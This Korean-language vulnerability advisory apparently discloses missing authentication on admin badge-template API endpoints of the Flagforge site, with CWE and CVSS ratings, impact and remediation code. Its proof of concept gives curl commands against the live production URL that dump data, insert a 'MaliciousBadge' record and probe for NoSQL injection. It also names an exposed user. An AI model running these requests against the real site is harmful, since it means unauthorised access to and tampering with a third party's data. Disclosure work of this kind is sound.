설명

영향을 받는 엔드포인트

1. GET /api/admin/badge-templates:
   • MongoDB badgeTemplates 컬렉션에 저장된 모든 배지 템플릿의 JSON 배열을 반환합니다.
   • 노출되는 필드에는 _id, name, description, icon, color, isActive, createdBy, createdAt, updatedAt, __v가 포함됩니다.
   • 인증 헤더, API 키 또는 세션 검사가 필요하지 않아 엔드포인트가 공개적으로 접근 가능합니다.
   • 샘플 응답(cURL 사용):

1. POST /api/admin/badge-templates/create:
   • 사용자 제어 필드(name, description, icon, color, isActive, createdBy)로 새 배지 템플릿을 생성할 수 있습니다.
   • name, description, icon의 존재 여부에 대한 최소한의 검증만 수행하며, 중복된 name이 없는지 확인합니다.
   • 인증 또는 권한 부여 검사가 없어 누구나 데이터베이스에 데이터를 삽입할 수 있습니다.
   • 샘플 코드(제공된 소스에서):
     root@kitploit:~

     const templateDoc = {
       name: name.trim(),
       description: description.trim(),
       icon: icon.trim(),
       color: color || '#8B5CF6',
       isActive: isActive !== undefined ? isActive : true,
       createdAt: new Date(),
       createdBy: createdBy || 'unknown'
     };
     const result = await db.collection('badgeTemplates').insertOne(templateDoc);
     

취약점

• CWE-200: 무단 행위자에 대한 민감 정보 노출(GET 엔드포인트): 사용자 식별자(예: Lagzen Thakuri, [email protected]) 및 메타데이터를 노출하여 정찰 또는 피싱에 악용될 수 있습니다.
• CWE-306: 중요 기능에 대한 인증 누락(두 엔드포인트 모두): 관리자 경로에 접근 제어가 없습니다.
• CWE-284: 부적절한 접근 제어(두 엔드포인트 모두): 무단 데이터 검색 및 수정을 허용합니다.
• 잠재적 NoSQL 인젝션: POST 엔드포인트는 필드를 명시적으로 구조 분해하지만, GET 엔드포인트가 쿼리 매개변수(예: ?name[$ne]=test)를 지원하는 경우 취약할 수 있습니다.
• 로그 오염 위험: POST 엔드포인트는 사용자 제어 name 및 createdBy를 기록하므로 로그 스팸 또는 인젝션에 악용될 수 있습니다.

CVSS v3.1 점수

• 기본 점수: 9.1(치명적)
• 벡터: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
  • 공격 벡터(AV): 네트워크(공개적으로 접근 가능한 엔드포인트).
  • 공격 복잡성(AC): 낮음(특별한 조건 불필요).
  • 필요 권한(PR): 없음(인증 불필요).
  • 사용자 상호작용(UI): 없음(직접 HTTP 요청).
  • 범위(S): 변경 없음(애플리케이션 자체에 영향).
  • 기밀성(C): 높음(사용자 데이터 노출).
  • 무결성(I): 높음(임의 데이터 생성 허용).
  • 가용성(A): 낮음(대량 템플릿 생성으로 인한 잠재적 DoS).

영향을 받는 시스템

• 애플리케이션: Flagforge(https://flagforge.xyz)
• 구성 요소:
  • Next.js API 경로: /api/admin/badge-templates(GET) 및 /api/admin/badge-templates/create(POST).
  • MongoDB 데이터베이스: badgeTemplates 컬렉션.
• 호스팅: Vercel(서버리스, server: Vercel 헤더에서 추론).
• 버전: 알 수 없음(NextRequest/NextResponse 구문 기반으로 Next.js 13+로 추정).
• 종속성: MongoDB 드라이버(사용자 정의 @/utlis/db 연결 유틸리티 사용), Next.js.

영향

• 기밀성: 사용자 식별자(createdBy) 및 메타데이터(createdAt, updatedAt) 노출로 사회공학 또는 표적 공격에 악용될 수 있습니다.
• 무결성: 무단 배지 템플릿 생성으로 애플리케이션에 스팸, 피싱 또는 악성 콘텐츠 표시가 발생할 수 있습니다.
• 가용성: POST 엔드포인트에 템플릿 생성 요청을 대량 전송하여 데이터베이스 리소스를 소모하는 서비스 거부(DoS) 가능성.
• 악용 가능성: 높음. 엔드포인트가 인증 장벽 없이 간단한 HTTP 요청(예: cURL, Postman)으로 공개적으로 접근 가능하기 때문입니다.

개념 증명

1. 민감 데이터 검색(GET):

   root@kitploit:~

   curl https://flagforge.xyz/api/admin/badge-templates
   

   • createdBy(예: [email protected])와 같은 민감한 필드를 포함한 모든 배지 템플릿의 JSON 목록을 반환합니다.

2. 무단 템플릿 생성(POST) 및 템플릿 제거(DELETE):

   root@kitploit:~

   curl -X POST https://flagforge.xyz/api/admin/badge-templates/create \
     -H "Content-Type: application/json" \
     -d '{"name":"MaliciousBadge","description":"Hacked","icon":"evil.svg","createdBy":"attacker"}'
   

   • badgeTemplates 컬렉션에 새 템플릿을 생성합니다.
   • 배지 템플릿을 제거합니다.
   • GET 요청을 다시 실행하여 새 템플릿이 나타나는지 확인합니다.

3. 잠재적 NoSQL 인젝션(GET, 쿼리 매개변수가 지원되는 경우):

   root@kitploit:~

   curl https://flagforge.xyz/api/admin/badge-templates?name[$regex]=.*
   

   • 엔드포인트가 MongoDB 연산자를 처리하는지 테스트하여 필터를 우회하거나 추가 데이터를 노출할 수 있는지 확인합니다.

권장 사항

즉시 수정

1. 인증 구현:
   • 두 엔드포인트 모두에 사용자 신원을 확인하는 미들웨어 추가(예: JWT, NextAuth.js 또는 API 키).
     root@kitploit:~

     // POST 엔드포인트용 미들웨어 예시
     export async function POST(request: NextRequest) {
       const authHeader = request.headers.get('authorization');
       if (!authHeader || !verifyToken(authHeader)) { // verifyToken 구현
         return NextResponse.json({ error: 'Unauthorized' }, { status: 401 });
       }
       // ... 기존 코드 ...
     }
     

2. GET 엔드포인트 제한:
   • GET 엔드포인트를 인증된 관리자로 제한하거나 최소 데이터만 반환(예: createdBy 제외).
   • 쿼리 매개변수가 지원되는 경우 NoSQL 인젝션을 방지하기 위해 입력을 검증합니다.

참고 자료

• CWE-200: https://cwe.mitre.org/data/definitions/200.html
• CWE-306: https://cwe.mitre.org/data/definitions/306.html
• CWE-284: https://cwe.mitre.org/data/definitions/284.html
• OWASP API Security Top 10: https://owasp.org/www-project-api-security/
• CVSS v3.1 Calculator: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator